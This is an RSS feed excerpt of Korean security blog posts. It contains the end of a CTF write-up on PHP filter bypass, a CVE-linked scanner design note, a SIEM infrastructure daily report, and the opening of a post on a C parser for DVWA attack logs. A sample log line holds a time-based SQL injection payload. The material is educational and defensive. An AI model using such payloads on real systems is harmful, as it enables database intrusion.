<td>문자셋 변환</td>
</tr>
<tr>
<td>rot 계열</td>
<td>단순 문자열 필터 우회</td>
</tr>
</tbody></table>
<p>이 문제는<br><strong>단순 문자열 차단 + 출력 구조 신뢰</strong> 조합의 전형적인 실패 사례다.</p>
<hr>
<h2 id="추가로-해본-생각">추가로 해본 생각</h2>
<ul>
<li>이 구조, 실서비스에서도 종종 본다</li>
<li>“외부 API 가져오기” 기능에서 자주 터진다</li>
<li>JSON 검증한다고 안전해지는 거 절대 아니다</li>
</ul>
<p>실무라면 최소한 이건 했어야 한다.</p>
<table>
<thead>
<tr>
<th>항목</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td>scheme 화이트리스트</td>
<td>wrapper 차단</td>
</tr>
<tr>
<td>allow_url_fopen 제한</td>
<td>로컬 파일 접근 차단</td>
</tr>
<tr>
<td>응답 내용 검증</td>
<td>의미 기반 검증</td>
</tr>
<tr>
<td>출력 전 escape</td>
<td>XSS/LFI 연계 차단</td>
</tr>
</tbody></table>
<hr>
<h2 id="핵심-교훈">핵심 교훈</h2>
<table>
<thead>
<tr>
<th>배운 점</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>문자열 필터는 믿을 게 못 됨</td>
<td>인코딩 한 번이면 끝</td>
</tr>
<tr>
<td>출력 구조 신뢰는 위험</td>
<td>데이터 출처가 중요</td>
</tr>
<tr>
<td>PHP Stream Wrapper는 필수 지식</td>
<td>웹 보안 기본기</td>
</tr>
</tbody></table>
<p>이 문제는 <strong>기교보다 개념 싸움</strong>이었다.<br>원리를 알면 풀리고, 모르고 있으면 계속 삽질하게 된다.</p>
<hr>
<h2 id="마치며">마치며</h2>
<p>이 문제 풀면서 느낀 건 하나다.<br>“이거 옛날 기법 아니냐?” 싶어도,<br><strong>지금도 그대로 죽는 서비스 많다</strong>.</p>
<p>포트폴리오용으로는  </p>
<ul>
<li>PHP 기본기  </li>
<li>웹 입력 검증  </li>
<li>필터 우회 사고력  </li>
</ul>
<p>이 세 개를 같이 보여주기 좋은 문제였다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[s2n 웹 스캐너 개발 - 0]]></title>
            <link>https://velog.io/@9_000k/s2n-%EC%9B%B9-%EC%8A%A4%EC%BA%90%EB%84%88-%EA%B0%9C%EB%B0%9C-0</link>
            <guid>https://velog.io/@9_000k/s2n-%EC%9B%B9-%EC%8A%A4%EC%BA%90%EB%84%88-%EA%B0%9C%EB%B0%9C-0</guid>
            <pubDate>Wed, 11 Feb 2026 00:52:04 GMT</pubDate>
            <description><![CDATA[<h1 id="s2n-기반-정적-분석--서비스-취약점-연계-스캐너-설계-정리">s2n 기반 정적 분석 + 서비스 취약점 연계 스캐너 설계 정리</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>기존 s2n 구조는 플러그인 확장에 최적화된 구조다.  </li>
<li>정적 분석 + 포트 서비스 버전 분석 + CVE 연계가 핵심 차별점이다.  </li>
<li>단순 스캐너가 아니라 <strong>보안 분석 도우미</strong>로 확장하는 게 목표다.</li>
</ol>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>요즘 보안 스캐너들 보면 기능은 많은데 정작 <strong>왜 취약한지</strong> 설명이 빈약하다.<br>그래서 아예 처음부터 생각을 바꿨다.</p>
<p>“이 포트에서 이 서비스가 이 버전으로 돌아가고 있고,<br>이 코드 구조라서 이 취약점이 가능하다”<br>여기까지 한 번에 보여주면 어떨까 싶었다.</p>
<p>이 문서는 그 고민을 정리한 설계 문서다.</p>
<hr>
<h2 id="전체-구조-개요">전체 구조 개요</h2>
<p>이 프로젝트의 방향성은 다음과 같다.</p>
<pre><code>[Target]
   |
   v
[Port Scan]
   |
   v
[Service Fingerprinting]
   |
   v
[Static Analysis]
   |
   v
[CVE / Vulnerability DB Matching]
   |
   v
[Why 취약한지 + 방어 방법 리포트]</code></pre><p>핵심은 <strong>각 단계가 느슨하게 결합된 플러그인 구조</strong>라는 점이다.<br>그래서 기능 추가가 부담이 없다.</p>
<hr>
<h2 id="1-정적-분석-기능이-필요한-이유">1. 정적 분석 기능이 필요한 이유</h2>
<p>동적 스캐닝만으로는 한계가 명확하다.</p>
<table>
<thead>
<tr>
<th>구분</th>
<th>한계</th>
</tr>
</thead>
<tbody><tr>
<td>포트 스캔</td>
<td>열려 있다는 것만 알 수 있다</td>
</tr>
<tr>
<td>배너 그랩</td>
<td>정확한 내부 로직은 알 수 없다</td>
</tr>
<tr>
<td>동적 테스트</td>
<td>조건부 취약점 탐지가 어렵다</td>
</tr>
</tbody></table>
<p>그래서 정적 분석을 붙이려는 거다.</p>
<p>정적 분석은 다음을 가능하게 한다.</p>
<ul>
<li>코드 흐름 파악</li>
<li>위험한 함수 사용 여부 확인</li>
<li>설정 파일 기반 취약점 탐지</li>
</ul>
<p>즉, <strong>왜 가능한지</strong>를 설명할 수 있다.</p>
<hr>
<h2 id="2-github-코드-구조-분석-방식">2. GitHub 코드 구조 분석 방식</h2>
<p>이 프로젝트는 GitHub 레포를 직접 분석 대상으로 삼는다.</p>
<h3 id="분석-포인트">분석 포인트</h3>
<ul>
<li>디렉터리 구조</li>
<li>프레임워크 추정</li>
<li>언어별 위험 함수 패턴</li>
</ul>
<h3 id="예시-구조-판단">예시 구조 판단</h3>
<pre><code>/src
 ├── controllers
 ├── routes
 ├── services
 └── config</code></pre><p>이 구조라면 MVC 패턴 기반 웹 서비스라고 판단할 수 있다.<br>그 다음부터는 프레임워크별 룰을 적용한다.</p>
<hr>
<h2 id="3-플러그인-방식-설계">3. 플러그인 방식 설계</h2>
<p>기본 철학은 이거다.</p>
<blockquote>
<p>기능 추가 = 플러그인 하나 추가</p>
</blockquote>
<h3 id="플러그인-인터페이스-예시">플러그인 인터페이스 예시</h3>
<pre><code class="language-python">class PluginBase:
    name = &quot;base&quot;

    def match(self, context):
        return False

    def analyze(self, context):
        return []</code></pre>
<p>각 플러그인은</p>
<ul>
<li>언제 실행될지</li>
<li>무엇을 검사할지</li>
<li>무엇을 리턴할지</li>
</ul>
<p>이 세 가지만 신경 쓰면 된다.</p>
<hr>
<h2 id="4-포트-서비스--버전-분석">4. 포트 서비스 + 버전 분석</h2>
<p>포트는 그냥 숫자가 아니다.<br><strong>서비스 + 버전 정보</strong>가 진짜 핵심이다.</p>
<p>예시:</p>
<pre><code>80/tcp  -&gt; nginx 1.18.0
3306/tcp -&gt; MySQL 5.7</code></pre><p>이 정보가 있으면 바로 다음 단계로 간다.</p>
<hr>
<h2 id="5-cve-db-연계-방식">5. CVE DB 연계 방식</h2>
<h3 id="데이터-소스">데이터 소스</h3>
<ul>
<li>NVD (JSON)</li>
<li>Exploit-DB</li>
<li>GitHub Advisory</li>
</ul>
<h3 id="저장-구조-예시">저장 구조 예시</h3>
<table>
<thead>
<tr>
<th>필드</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>cve_id</td>
<td>CVE-2023-xxxx</td>
</tr>
<tr>
<td>product</td>
<td>nginx</td>
</tr>
<tr>
<td>version</td>
<td>&lt; 1.20</td>
</tr>
<tr>
<td>severity</td>
<td>HIGH</td>
</tr>
<tr>
<td>description</td>
<td>취약점 설명</td>
</tr>
<tr>
<td>mitigation</td>
<td>방어 방법</td>
</tr>
</tbody></table>
<p>주기적으로 업데이트되도록 크론 잡으로 동기화한다.</p>
<hr>
<h2 id="6-왜-취약한지-설명하는-리포트">6. 왜 취약한지 설명하는 리포트</h2>
<p>이 프로젝트의 가장 중요한 부분이다.</p>
<h3 id="출력-예시">출력 예시</h3>
<ul>
<li>현재 서비스: nginx 1.18.0</li>
<li>해당 버전 취약점: CVE-2021-23017</li>
<li>원인: 특정 요청 처리 로직에서 버퍼 검증 미흡</li>
<li>공격 가능성: RCE 가능</li>
<li>방어 방법:<ul>
<li>nginx 업그레이드</li>
<li>request size 제한 설정</li>
</ul>
</li>
</ul>
<p>단순 경고가 아니라 <strong>이해 가능한 설명</strong>을 목표로 한다.</p>
<hr>
<h2 id="7-차별점-정리">7. 차별점 정리</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>기존 스캐너</th>
<th>본 프로젝트</th>
</tr>
</thead>
<tbody><tr>
<td>정적 분석</td>
<td>거의 없음</td>
<td>있음</td>
</tr>
<tr>
<td>CVE 설명</td>
<td>링크만 제공</td>
<td>원인 설명</td>
</tr>
<tr>
<td>방어 가이드</td>
<td>단순</td>
<td>설정 단위</td>
</tr>
<tr>
<td>확장성</td>
<td>제한적</td>
<td>플러그인 기반</td>
</tr>
</tbody></table>
<hr>
<h2 id="마치며">마치며</h2>
<p>아직 완성된 도구는 아니다.<br>솔직히 말하면 기능도 부족하다.</p>
<p>하지만 방향성은 명확하다.<br>단순히 “취약하다”를 말하는 도구가 아니라<br>“왜 취약한지 이해시키는 도구”를 만들고 싶다.</p>
<p>앞으로는</p>
<ul>
<li>탐지 정확도 개선</li>
<li>더 많은 언어 지원</li>
<li>정적 분석 룰 고도화</li>
</ul>
<p>이런 방향으로 계속 발전시킬 생각이다.<br>갈 길은 멀지만, 이 구조라면 충분히 확장 가능하다고 본다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[12월 16일자 프로젝트]]></title>
            <link>https://velog.io/@9_000k/12%EC%9B%94-16%EC%9D%BC%EC%9E%90-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</link>
            <guid>https://velog.io/@9_000k/12%EC%9B%94-16%EC%9D%BC%EC%9E%90-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</guid>
            <pubDate>Tue, 16 Dec 2025 12:23:57 GMT</pubDate>
            <description><![CDATA[<h1 id="2sec-siem-프로젝트-일일-보고서-2025-12-16">2SeC-SIEM 프로젝트 일일 보고서 (2025-12-16)</h1>
<hr>
<h2 id="1-오늘의-목표-및-성과">1. 오늘의 목표 및 성과</h2>
<h3 id="🔸-목표">🔸 목표</h3>
<ul>
<li>SIEM 실습 인프라의 운영·보안 설계 결정</li>
<li>로그 보관/정리 전략 수립</li>
<li>LLM·SOAR 확장 전 구현 범위 명확화</li>
</ul>
<h3 id="🔸-완료한-작업">🔸 완료한 작업</h3>
<p><strong>황준하</strong></p>
<ul>
<li><input checked="" disabled="" type="checkbox"> OpenSearch ↔ ECS(Logstash) 인증 방식 결정</li>
<li><input checked="" disabled="" type="checkbox"> S3 기반 로그 보관 전략 설계</li>
<li><input checked="" disabled="" type="checkbox"> 인덱스 네이밍 및 ISM 정책 구조화</li>
<li><input checked="" disabled="" type="checkbox"> 프로젝트 보안 설계 트레이드오프 문서화</li>
</ul>
<hr>
<h2 id="2-핵심-논의-사항">2. 핵심 논의 사항</h2>
<p>오늘 회의의 핵심은 <strong>SIEM 실습 인프라를 어떻게 안전하면서도 실용적으로 구축할 것인가</strong>였다. 특히 세 가지 큰 주제가 있었다.</p>
<ol>
<li>OpenSearch 인증을 어떻게 관리할 것인가</li>
<li>로그를 어디에 어떻게 저장할 것인가  </li>
<li>인덱스는 어떻게 네이밍하고 관리할 것인가</li>
</ol>
<hr>
<h2 id="3-opensearch-인증-방식-결정">3. OpenSearch 인증 방식 결정</h2>
<h3 id="문제-상황">문제 상황</h3>
<p>처음엔 단순하게 생각했다. &quot;IAM으로 하면 되겠지?&quot;</p>
<p>그런데 OpenSearch가 생성 시점에 <strong>관리자 비밀번호를 무조건 요구</strong>한다. Terraform으로 랜덤 비밀번호를 생성하면 <code>terraform.tfstate</code> 파일에 평문으로 남는다는 게 문제였다.</p>
<h3 id="고민한-선택지들">고민한 선택지들</h3>
<p><strong>선택지 A: Terraform으로 비밀번호 생성 + Secrets Manager 저장</strong></p>
<pre><code>Terraform random_password 생성
  ↓
OpenSearch 생성 시 사용
  ↓
Secrets Manager에 저장
  ↓
ECS(Logstash)는 Secrets Manager 참조</code></pre><p>장점: 구조가 단순하다
단점: state 파일에 비밀번호가 평문으로 남는다</p>
<p><strong>선택지 B: OpenSearch를 bootstrap 영역으로 분리</strong></p>
<p>장점: 구조적으로 깔끔하다
단점: 실습 환경에서 관리 복잡도가 과도하게 올라간다</p>
<h3 id="최종-결정">최종 결정</h3>
<p><strong>선택지 A를 채택했다.</strong></p>
<p>이유는 간단하다. 이번 프로젝트는 실습 + 포트폴리오용이다. 완벽한 보안보다는 <strong>트레이드오프를 이해하고 설명할 수 있는 능력</strong>이 더 중요하다.</p>
<p>실무에서도 OpenSearch 초기 비밀번호를 IaC로 관리하는 경우가 많다. 중요한 건 state 파일 자체를 어떻게 보호하느냐다.</p>
<h3 id="보안-통제-계층">보안 통제 계층</h3>
<pre><code>1차 방어: S3 Backend 암호화 (AES-256) + Versioning
2차 방어: DynamoDB Lock (동시성 제어)
3차 방어: IAM 기반 State 접근 통제
4차 방어: S3 Bucket Policy 제한</code></pre><p>이 정도면 state 파일이 쉽게 노출되지 않는다. 완벽하진 않지만 합리적인 선택이다.</p>
<hr>
<h2 id="4-iam-vs-secret-인증-비교">4. IAM vs Secret 인증 비교</h2>
<p>팀 내에서 &quot;IAM이 더 낫다&quot;는 의견이 나왔다. 실제로 맞는 말이다.</p>
<h3 id="secret-기반-인증의-한계">Secret 기반 인증의 한계</h3>
<p>비밀번호는 결국 <strong>비밀값 자체가 공격 표면</strong>이다.</p>
<ul>
<li>rotation 필요</li>
<li>유출 대응 필요</li>
<li>접근 통제 추가로 필요</li>
<li>로그나 디버깅 과정에서 노출 위험</li>
</ul>
<h3 id="iam-기반-접근이-우수한-이유">IAM 기반 접근이 우수한 이유</h3>
<p>IAM은 <strong>자격 증명 자체가 존재하지 않는다</strong>.</p>
<ul>
<li>AWS STS 기반 단기 토큰</li>
<li>권한은 정책으로만 통제</li>
<li>rotation, 폐기, 감사가 자동화</li>
<li>비밀값 관리 부담 제로</li>
</ul>
<h3 id="현실적-제약">현실적 제약</h3>
<p>그런데 OpenSearch Dashboards와 REST API는 기본적으로 Basic Auth가 필요하다. Logstash 플러그인도 IAM SigV4 지원이 불안정하다.</p>
<p>결론: <strong>현 단계에서는 IAM + Secret 혼합 구조를 허용한다.</strong></p>
<p>나중에 Kinesis Data Firehose 같은 AWS 관리형 서비스로 전환하면 완전 IAM 기반으로 갈 수 있다.</p>
<hr>
<h2 id="5-로그-보관-전략">5. 로그 보관 전략</h2>
<h3 id="핵심-철학">핵심 철학</h3>
<blockquote>
<p>OpenSearch는 분석용 시스템이다.<br>S3는 신뢰 가능한 원본 저장소다.</p>
</blockquote>
<p>OpenSearch에 로그를 영구 보관하는 건 비효율적이다. 비용도 많이 들고, 인덱스 삭제하면 로그가 영구 손실된다.</p>
<p>따라서 <strong>이중화 구조</strong>를 설계했다.</p>
<h3 id="s3-버킷-분리-전략">S3 버킷 분리 전략</h3>
<p><strong>Bucket 1: <code>siem-raw-logs-bucket</code> (원본 보관)</strong></p>
<pre><code>CloudWatch Logs
  ↓
Kinesis Data Streams
  ↓
Firehose
  ↓
S3 (Raw)</code></pre><ul>
<li>가공 전 원시 로그</li>
<li>재처리, 포렌식, 재학습 용도</li>
<li>Source of Truth 역할</li>
</ul>
<p><strong>Bucket 2: <code>siem-normalized-logs-bucket</code> (정제 로그)</strong></p>
<pre><code>S3 (Raw)
  ↓
Lambda (파싱/정규화)
  ↓
S3 (Normalized) + OpenSearch</code></pre><ul>
<li>Lambda로 파싱/정규화한 로그</li>
<li>OpenSearch 인덱스 구조와 동일</li>
<li>OpenSearch 장애 시 재적재 가능</li>
</ul>
<h3 id="왜-이렇게-나눴냐">왜 이렇게 나눴냐?</h3>
<p>원본 로그는 절대 건드리면 안 된다. 나중에 &quot;이 로그 다시 파싱해야 하는데?&quot; 하는 상황이 생길 수 있다.</p>
<p>정규화된 로그는 OpenSearch에 바로 넣을 수 있는 형태다. OpenSearch가 터지거나 인덱스를 잘못 지워도 S3에서 다시 복구할 수 있다.</p>
<hr>
<h2 id="6-인덱스-네이밍-전략">6. 인덱스 네이밍 전략</h2>
<h3 id="표준-형식">표준 형식</h3>
<pre><code>{system}-{domain}-{purpose}-{env}-{YYYY.MM.DD}</code></pre><h3 id="실제-예시">실제 예시</h3>
<table>
<thead>
<tr>
<th>인덱스명</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td><code>siem-web-access-dev-2025.12.16</code></td>
<td>웹 접근 로그</td>
</tr>
<tr>
<td><code>siem-web-attack-dev-2025.12.16</code></td>
<td>웹 공격 로그</td>
</tr>
<tr>
<td><code>siem-system-auth-dev-2025.12.16</code></td>
<td>시스템 인증 로그</td>
</tr>
<tr>
<td><code>siem-network-traffic-dev-2025.12.16</code></td>
<td>네트워크 트래픽</td>
</tr>
</tbody></table>
<h3 id="구성-요소-설명">구성 요소 설명</h3>
<table>
<thead>
<tr>
<th>요소</th>
<th>설명</th>
<th>예시</th>
</tr>
</thead>
<tbody><tr>
<td><code>system</code></td>
<td>시스템 범주</td>
<td>siem</td>
</tr>
<tr>
<td><code>domain</code></td>
<td>로그 도메인</td>
<td>web, system, network</td>
</tr>
<tr>
<td><code>purpose</code></td>
<td>목적/이벤트 타입</td>
<td>access, attack, auth</td>
</tr>
<tr>
<td><code>env</code></td>
<td>환경</td>
<td>dev, staging, prod</td>
</tr>
<tr>
<td><code>YYYY.MM.DD</code></td>
<td>시간 기반 분할</td>
<td>2025.12.16</td>
</tr>
</tbody></table>
<h3 id="왜-이렇게-정했냐">왜 이렇게 정했냐?</h3>
<ol>
<li>ISM 정책 패턴 매칭이 쉽다</li>
<li>시간 기반 쿼리가 최적화된다</li>
<li>로그 타입별로 독립적으로 관리할 수 있다</li>
</ol>
<p>예를 들어 공격 로그만 따로 30일 이후 삭제하고, 접근 로그는 90일까지 보관하는 식으로 정책을 다르게 가져갈 수 있다.</p>
<hr>
<h2 id="7-ism-정책-설계">7. ISM 정책 설계</h2>
<h3 id="ism이-뭔가">ISM이 뭔가?</h3>
<p>Index State Management의 약자다. OpenSearch 인덱스의 라이프사이클을 자동으로 관리해주는 기능이다.</p>
<p>간단하게 말하면 &quot;30일 지난 인덱스는 자동으로 삭제해줘&quot; 이런 걸 설정할 수 있다.</p>
<h3 id="실습-환경용-정책">실습 환경용 정책</h3>
<pre><code class="language-json">{
  &quot;policy&quot;: {
    &quot;description&quot;: &quot;SIEM 실습용 로그 라이프사이클&quot;,
    &quot;default_state&quot;: &quot;hot&quot;,
    &quot;states&quot;: [
      {
        &quot;name&quot;: &quot;hot&quot;,
        &quot;actions&quot;: [],
        &quot;transitions&quot;: [
          {
            &quot;state_name&quot;: &quot;delete&quot;,
            &quot;conditions&quot;: {
              &quot;min_index_age&quot;: &quot;30d&quot;
            }
          }
        ]
      },
      {
        &quot;name&quot;: &quot;delete&quot;,
        &quot;actions&quot;: [
          {
            &quot;snapshot&quot;: {
              &quot;repository&quot;: &quot;s3-snapshot-repo&quot;,
              &quot;snapshot&quot;: &quot;siem-snapshot-${index}&quot;
            }
          },
          {
            &quot;delete&quot;: {}
          }
        ]
      }
    ]
  }
}</code></pre>
<h3 id="동작-흐름">동작 흐름</h3>
<pre><code>인덱스 생성
  ↓
Hot 상태 (0~30일)
  → 실시간 분석
  → Alert 생성
  → Dashboard 조회
  ↓
30일 경과
  ↓
Delete 상태
  → S3 Snapshot 생성
  → 인덱스 삭제</code></pre><h3 id="왜-30일로-설정했냐">왜 30일로 설정했냐?</h3>
<p>실습 환경이라 비용 관리가 중요하다. 30일치 로그면 분석하기에 충분하고, 그 이상은 S3에 보관하면 된다.</p>
<p>실무에서는 Hot → Warm → Cold 구조로 가져가는데, 지금은 그렇게까지 복잡하게 할 필요는 없다.</p>
<hr>
<h2 id="8-발생한-문제들">8. 발생한 문제들</h2>
<h3 id="이슈-1-terraform-state-비밀번호-평문-저장">이슈 1: Terraform State 비밀번호 평문 저장</h3>
<p><strong>문제</strong>: OpenSearch 관리자 비밀번호가 <code>terraform.tfstate</code>에 평문으로 기록된다.</p>
<p><strong>해결 방안</strong></p>
<ul>
<li>State Backend S3 암호화 강제 (AES-256)</li>
<li>IAM 정책으로 State 파일 접근 최소화</li>
<li><code>.gitignore</code>에 state 파일 등록</li>
<li>문서화: &quot;인지된 리스크&quot;로 명시, 실무 대안 제시</li>
</ul>
<p>이거 진짜 고민 많이 했다. 완벽한 해결책은 없다. 대신 리스크를 인지하고 완화하는 방향으로 갔다.</p>
<h3 id="이슈-2-logstash-iam-인증-플러그인-호환성">이슈 2: Logstash IAM 인증 플러그인 호환성</h3>
<p><strong>문제</strong>: Logstash OpenSearch output 플러그인의 IAM SigV4 지원이 불안정하다.</p>
<p><strong>조치 계획</strong></p>
<ul>
<li>현 단계: Basic Auth + Secrets Manager 참조로 안정성 확보</li>
<li>향후 단계: AWS 관리형 서비스(Kinesis Data Firehose) 전환 검토</li>
</ul>
<p>플러그인 문서 보면서 삽질 좀 했다. IAM으로 깔끔하게 가고 싶었는데 현실의 벽에 부딪혔다.</p>
<h3 id="이슈-3-인덱스-증가에-따른-비용-관리">이슈 3: 인덱스 증가에 따른 비용 관리</h3>
<p><strong>문제</strong>: 일 단위 인덱스 생성 시 장기 운영하면 스토리지 비용이 계속 증가한다.</p>
<p><strong>해결 방안</strong></p>
<ul>
<li>ISM 정책으로 30일 이후 자동 삭제</li>
<li>S3 Snapshot을 통한 장기 보관</li>
<li>Hot/Warm/Cold 아키텍처 추후 도입 검토</li>
</ul>
<hr>
<h2 id="9-배운-점-및-회고">9. 배운 점 및 회고</h2>
<h3 id="기술적-교훈">기술적 교훈</h3>
<p><strong>완벽한 보안은 없다</strong></p>
<p>처음엔 &quot;IAM으로 100% 깔끔하게 가자&quot;고 생각했다. 그런데 현실은 그렇게 호락호락하지 않더라.</p>
<p>OpenSearch는 생성 시점에 비밀번호가 필요하고, Logstash 플러그인은 IAM을 완벽하게 지원하지 않는다.</p>
<p>중요한 건 <strong>트레이드오프를 이해하고 설명할 수 있는 능력</strong>이다.</p>
<p><strong>아키텍처는 계층적으로 설계해야 한다</strong></p>
<p>OpenSearch와 S3를 분리한 게 정말 잘한 선택이었다. OpenSearch는 분석용, S3는 보관용으로 역할을 명확히 나눴다.</p>
<p>이렇게 하면 나중에 OpenSearch를 완전히 갈아엎어도 S3에 원본 로그가 있으니까 문제없다.</p>
<p><strong>네이밍은 중요하다</strong></p>
<p>인덱스 네이밍 규칙을 처음부터 제대로 정한 게 큰 도움이 됐다. 나중에 인덱스가 수백 개가 되면 관리가 불가능해진다.</p>
<p><code>siem-web-attack-dev-2025.12.16</code> 이런 식으로 명확하게 구조화하니까 ISM 정책 적용하기도 쉽고, 쿼리 작성하기도 편하다.</p>
<h3 id="아쉬운-점">아쉬운 점</h3>
<p><strong>IAM 인증을 완전히 구현하지 못한 것</strong></p>
<p>Logstash 플러그인 때문에 Basic Auth를 섞어야 했다. 이게 좀 찝찝하다.</p>
<p>다음 단계에서는 Kinesis Data Firehose로 전환해서 완전 IAM 기반으로 가려고 한다.</p>
<p><strong>테스트 환경 부족</strong></p>
<p>설계는 다 했는데 실제로 구축하고 테스트하는 시간이 부족했다. 내일은 Terraform 코드 작성하고 실제로 배포해봐야겠다.</p>
<hr>
<h2 id="10-다음-단계-계획">10. 다음 단계 계획</h2>
<h3 id="내일-작업-목표">내일 작업 목표</h3>
<ul>
<li><input disabled="" type="checkbox"> Terraform 코드 구조 리팩토링 (모듈 분리)</li>
<li><input disabled="" type="checkbox"> S3 버킷 정책 및 Lifecycle 규칙 구현</li>
<li><input disabled="" type="checkbox"> Kinesis Data Streams → Firehose → S3 파이프라인 테스트</li>
<li><input disabled="" type="checkbox"> OpenSearch 인덱스 템플릿 작성 및 적용</li>
<li><input disabled="" type="checkbox"> ISM 정책 실제 적용 및 동작 검증</li>
<li><input disabled="" type="checkbox"> 로그 파싱 Lambda 함수 초안 작성</li>
</ul>
<h3 id="학습-계획">학습 계획</h3>
<ul>
<li>OpenSearch Index Templates 문서 정독</li>
<li>Kinesis Data Firehose 변환 Lambda 패턴 연구</li>
<li>ISM API 활용 방법 실습</li>
</ul>
<p>특히 Index Templates는 필드 매핑을 표준화하는 데 필수라서 제대로 공부해야겠다.</p>
<hr>
<h2 id="11-프로젝트-진행-상황">11. 프로젝트 진행 상황</h2>
<h3 id="완료된-작업">완료된 작업</h3>
<ul>
<li>✅ 인증 방식 의사결정 (Terraform + Secrets Manager)</li>
<li>✅ 로그 보관 아키텍처 설계 (이중화 구조)</li>
<li>✅ 인덱스 네이밍 규칙 확립</li>
<li>✅ ISM 정책 초안 작성</li>
</ul>
<h3 id="진행-중인-작업">진행 중인 작업</h3>
<ul>
<li>🔄 Terraform 인프라 코드 작성</li>
<li>🔄 로그 파이프라인 구현</li>
<li>🔄 보안 정책 문서화</li>
</ul>
<h3 id="향후-계획">향후 계획</h3>
<ul>
<li>📋 Sigma Rule 기반 위협 탐지</li>
<li>📋 LLM 연동 로그 분석 자동화</li>
<li>📋 SOAR 워크플로우 설계</li>
</ul>
<hr>
<h2 id="12-참고-자료">12. 참고 자료</h2>
<h3 id="공식-문서">공식 문서</h3>
<ul>
<li><a href="https://docs.aws.amazon.com/opensearch-service/latest/developerguide/security.html">AWS OpenSearch Service 보안 모범 사례</a></li>
<li><a href="https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/opensearch_domain">Terraform AWS Provider - OpenSearch</a></li>
<li><a href="https://opensearch.org/docs/latest/im-plugin/ism/index/">OpenSearch ISM 정책 가이드</a></li>
</ul>
<h3 id="참고한-프로젝트">참고한 프로젝트</h3>
<ul>
<li>AWS Solutions Library - SIEM on Amazon OpenSearch</li>
<li>Elastic Security Architecture</li>
<li>Splunk Enterprise Security</li>
</ul>
<hr>
<p><strong>작성자</strong>: 황준하 (HoHK)<br><strong>작성일</strong>: 2025-12-16<br><strong>프로젝트</strong>: 2SeC-SIEM (LLM-CTI 통합 보안 분석 시스템)<br><strong>팀</strong>: 2SeC Team (KT Cloud TECH UP Program)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[12월 12~15일자 프로젝트]]></title>
            <link>https://velog.io/@9_000k/12%EC%9B%94-1215%EC%9D%BC%EC%9E%90-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</link>
            <guid>https://velog.io/@9_000k/12%EC%9B%94-1215%EC%9D%BC%EC%9E%90-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8</guid>
            <pubDate>Mon, 15 Dec 2025 07:48:58 GMT</pubDate>
            <description><![CDATA[<h1 id="2sec-siem-프로젝트-c-기반-로그-정제-시스템--iam-인증-구조">2SeC SIEM 프로젝트: C 기반 로그 정제 시스템 &amp; IAM 인증 구조</h1>
<h2 id="3줄-요약">3줄 요약</h2>
<ol>
<li>DVWA 공격 로그를 C 파서로 정제해서 LLM 학습용 JSON으로 변환하는 시스템 만들었다</li>
<li>Logstash → OpenSearch 인증은 IAM 방식으로 가서 비밀번호 관리 문제 해결했다</li>
<li>단순 SIEM이 아니라 LLM CTI까지 연동되는 전체 파이프라인 구축했다</li>
</ol>
<hr>
<h2 id="시작하며">시작하며</h2>
<p>2SeC 팀 프로젝트에서 DVWA 기반 공격 로그를 수집하고 분석하는 SIEM 시스템을 만들었다</p>
<p>단순히 로그 모으는 게 아니라, 이걸 LLM이 학습해서 공격 패턴을 자동으로 분석하는 게 목표였다</p>
<p>그 과정에서 두 가지 큰 고민이 있었다</p>
<ol>
<li><strong>대용량 로그를 빠르게 처리하려면?</strong> → C 기반 파서 개발</li>
<li><strong>안전하게 인증하려면?</strong> → IAM 기반 인증 구조</li>
</ol>
<hr>
<h2 id="전체-아키텍처">전체 아키텍처</h2>
<pre><code>[DVWA 공격 시뮬레이션]
         ↓
    [공격 로그 생성]
    (raw text format)
         ↓
[C 로그 파싱 엔진] ← Part 1
         ↓
    [JSON 변환]
    (구조화된 데이터)
         ↓
     [Logstash]
         ↓  (IAM 인증) ← Part 2
    [OpenSearch]
         ↓
   [LLM CTI 분석]</code></pre><hr>
<h1 id="part-1-c-기반-로그-정제-시스템">Part 1: C 기반 로그 정제 시스템</h1>
<h2 id="왜-c로-만들었나">왜 C로 만들었나?</h2>
<h3 id="성능이-필요했다">성능이 필요했다</h3>
<p>Python으로 10만 줄 로그 파싱하면 약 5~10초 걸린다</p>
<p>C로 만들면 1초 안에 끝난다</p>
<p><strong>실제 측정</strong></p>
<pre><code class="language-bash"># Python 버전
time python3 parser.py attack.log output.json
real    0m8.342s

# C 버전
time ./log_parser attack.log output.json
real    0m0.721s</code></pre>
<p>약 11배 차이 난다</p>
<p>나중에 실시간 로그 처리할 때 이 차이가 크다</p>
<h3 id="메모리-관리가-명확하다">메모리 관리가 명확하다</h3>
<p>malloc, realloc, free 직접 관리하니까 메모리 누수 걱정 없고</p>
<p>언제 얼마나 메모리 쓰는지 정확히 알 수 있다</p>
<h3 id="실무-환경-고려">실무 환경 고려</h3>
<p>실제 회사 가면 고성능 로그 처리 시스템은 대부분 C/C++로 되어 있다</p>
<p>지금 배워두면 나중에 도움된다</p>
<hr>
<h2 id="핵심-기능">핵심 기능</h2>
<h3 id="1-로그-파싱-엔진">1. 로그 파싱 엔진</h3>
<p>공격 로그가 이런 형식으로 들어온다</p>
<pre><code>2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS | &#39; AND SLEEP(3) | 192.168.1.100 | SESSION_ABC123</code></pre><p>이걸 파이프(<code>|</code>) 기준으로 쪼개서 구조체에 담는다</p>
<p><strong>지원하는 공격 타입</strong></p>
<table>
<thead>
<tr>
<th>공격 타입</th>
<th>enum 값</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>SQL Injection</td>
<td><code>ATTACK_SQL_INJECTION</code></td>
<td>DB 쿼리 조작 공격</td>
</tr>
<tr>
<td>XSS</td>
<td><code>ATTACK_XSS</code></td>
<td>스크립트 삽입 공격</td>
